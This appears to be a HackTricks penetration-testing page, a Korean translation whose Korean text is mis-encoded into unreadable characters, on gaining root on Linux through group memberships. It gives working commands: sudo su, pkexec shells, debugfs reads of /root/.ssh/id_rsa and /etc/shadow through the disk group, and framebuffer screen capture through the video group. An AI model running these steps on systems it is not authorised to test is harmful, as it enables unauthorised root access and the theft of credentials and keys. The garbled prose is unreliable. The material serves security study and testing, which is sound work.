{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
# Sudo/Admin Groups
## **PE - Method 1**
**λλλ‘**, **κΈ°λ³Έμ μΌλ‘ \(λλ μΌλΆ μννΈμ¨μ΄κ° νμνκΈ° λλ¬Έμ\)** **/etc/sudoers** νμΌ μμμ λ€μκ³Ό κ°μ μ€μ μ°Ύμ μ μμ΅λλ€:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
μ΄κ²μ **sudo λλ admin κ·Έλ£Ήμ μν λͺ¨λ μ¬μ©μκ° sudoλ‘ λ¬΄μμ΄λ μ€νν μ μμμ μλ―Έν©λλ€**.
μ΄ κ²½μ°, **rootκ° λλ €λ©΄ λ€μμ μ€ννλ©΄ λ©λλ€**:
```text
sudo su
```
## PE - Method 2
λͺ¨λ suid λ°μ΄λ리λ₯Ό μ°Ύμλ³΄κ³ **Pkexec** λ°μ΄λλ¦¬κ° μλμ§ νμΈνμμμ€:
```bash
find / -perm -4000 2>/dev/null
```
If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec.
λ€μ λ΄μ©μ νμΈνμΈμ:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
μ¬κΈ°μμ μ΄λ€ κ·Έλ£Ήμ΄ **pkexec**λ₯Ό μ€νν μ μλμ§ νμΈν μ μμΌλ©°, **κΈ°λ³Έμ μΌλ‘** μΌλΆ 리λ
μ€μμλ **sudo λλ admin** κ·Έλ£Ήμ΄ **λνλ μ μμ΅λλ€**.
**루νΈκ° λλ €λ©΄ λ€μμ μ€νν μ μμ΅λλ€**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
λ§μ½ **pkexec**λ₯Ό μ€ννλ €κ³ μλνλλ° μ΄ **μ€λ₯**κ° λ°μνλ€λ©΄:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**κΆνμ΄ μμ΄μκ° μλλΌ GUI μμ΄ μ°κ²°λμ΄ μμ§ μκΈ° λλ¬Έμ
λλ€**. μ΄ λ¬Έμ μ λν ν΄κ²° λ°©λ²μ μ¬κΈ°μμ νμΈν μ μμ΅λλ€: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). **2κ°μ μλ‘ λ€λ₯Έ ssh μΈμ
**μ΄ νμν©λλ€:
{% code title="session1" %}
```bash
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
```
{% endcode %}
{% code title="session2" %}
```bash
pkttyagent --process #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
{% endcode %}
# Wheel Group
**λλλ‘**, **κΈ°λ³Έμ μΌλ‘** **/etc/sudoers** νμΌ μμμ μ΄ μ€μ μ°Ύμ μ μμ΅λλ€:
```text
%wheel ALL=(ALL:ALL) ALL
```
μ΄κ²μ **wheel κ·Έλ£Ήμ μν λͺ¨λ μ¬μ©μκ° sudoλ‘ λͺ¨λ κ²μ μ€νν μ μμμ μλ―Έν©λλ€**.
μ΄ κ²½μ°, **rootκ° λλ €λ©΄ λ€μμ μ€ννλ©΄ λ©λλ€**:
```text
sudo su
```
# Shadow Group
**shadow** κ·Έλ£Ήμ μ¬μ©μλ€μ **/etc/shadow** νμΌμ **μ½μ** μ μμ΅λλ€:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
So, read the file and try to **crack some hashes**.
# Disk Group
μ΄ κΆνμ **λ£¨νΈ μ κ·Όκ³Ό κ±°μ λλ±**νμ¬ λ¨Έμ λ΄λΆμ λͺ¨λ λ°μ΄ν°μ μ κ·Όν μ μμ΅λλ€.
Files:`/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
λλ²κ·Έ νμΌ μμ€ν
(debugfs)μ μ¬μ©νλ©΄ **νμΌμ μΈ μ** μλ€λ μ μ μ μνμΈμ. μλ₯Ό λ€μ΄ `/tmp/asd1.txt`λ₯Ό `/tmp/asd2.txt`λ‘ λ³΅μ¬νλ €λ©΄ λ€μκ³Ό κ°μ΄ ν μ μμ΅λλ€:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
κ·Έλ¬λ **rootκ° μμ ν νμΌ** \(μ: `/etc/shadow` λλ `/etc/passwd`\)μ **μ°κΈ°** μλνλ©΄ "**Permission denied**" μ€λ₯κ° λ°μν©λλ€.
# Video Group
`w` λͺ
λ Ήμ΄λ₯Ό μ¬μ©νλ©΄ **μμ€ν
μ λ‘κ·ΈμΈν μ¬λ**μ μ°Ύμ μ μμΌλ©°, λ€μκ³Ό κ°μ μΆλ ₯μ 보μ¬μ€λλ€:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
The **tty1**λ μ¬μ©μ **yossiκ° λ¬Όλ¦¬μ μΌλ‘** λ¨Έμ μ ν°λ―Έλμ λ‘κ·ΈμΈνμμ μλ―Έν©λλ€.
**video group**μ νλ©΄ μΆλ ₯μ λ³Ό μ μλ κΆνμ΄ μμ΅λλ€. κΈ°λ³Έμ μΌλ‘ νλ©΄μ κ΄μ°°ν μ μμ΅λλ€. μ΄λ₯Ό μν΄μλ **νμ¬ νλ©΄μ μ΄λ―Έμ§λ₯Ό** μμ λ°μ΄ν°λ‘ κ°μ Έμ€κ³ νλ©΄μ΄ μ¬μ©νλ ν΄μλλ₯Ό μμμΌ ν©λλ€. νλ©΄ λ°μ΄ν°λ `/dev/fb0`μ μ μ₯ν μ μμΌλ©°, μ΄ νλ©΄μ ν΄μλλ `/sys/class/graphics/fb0/virtual_size`μμ μ°Ύμ μ μμ΅λλ€.
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**:
![](../../.gitbook/assets/image%20%28208%29.png)
Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\):
![](../../.gitbook/assets/image%20%28295%29.png)
# Root Group
κΈ°λ³Έμ μΌλ‘ **root κ·Έλ£Ήμ ꡬμ±μ**μ **μλΉμ€** κ΅¬μ± νμΌμ΄λ μΌλΆ **λΌμ΄λΈλ¬λ¦¬** νμΌ λλ κΆν μμΉμ μ¬μ©ν μ μλ **κΈ°ν ν₯λ―Έλ‘μ΄ κ²λ€**μ **μμ **ν μ μλ μ κ·Ό κΆνμ κ°μ§ μ μλ κ² κ°μ΅λλ€...
**root ꡬμ±μμ΄ μμ ν μ μλ νμΌ νμΈ**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
# Docker Group
νΈμ€νΈ λ¨Έμ μ λ£¨νΈ νμΌ μμ€ν
μ μΈμ€ν΄μ€μ λ³Όλ₯¨μ λ§μ΄νΈν μ μμΌλ―λ‘, μΈμ€ν΄μ€κ° μμλ λ μ¦μ ν΄λΉ λ³Όλ₯¨μ `chroot`λ₯Ό λ‘λν©λλ€. μ΄λ μ¬μ€μ λ¨Έμ μμ 루νΈλ₯Ό μ 곡νλ κ²μ
λλ€.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
# lxc/lxd Group
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
{% hint style="success" %}
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§μνκΈ°
* [**ꡬλ
κ³ν**](https://github.com/sponsors/carlospolop) νμΈνκΈ°!
* **π¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λλ [**ν
λ κ·Έλ¨ κ·Έλ£Ή**](https://t.me/peass)μ μ°Έμ¬νκ±°λ **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νλ‘μ°νμΈμ.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) λ° [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.**
{% endhint %}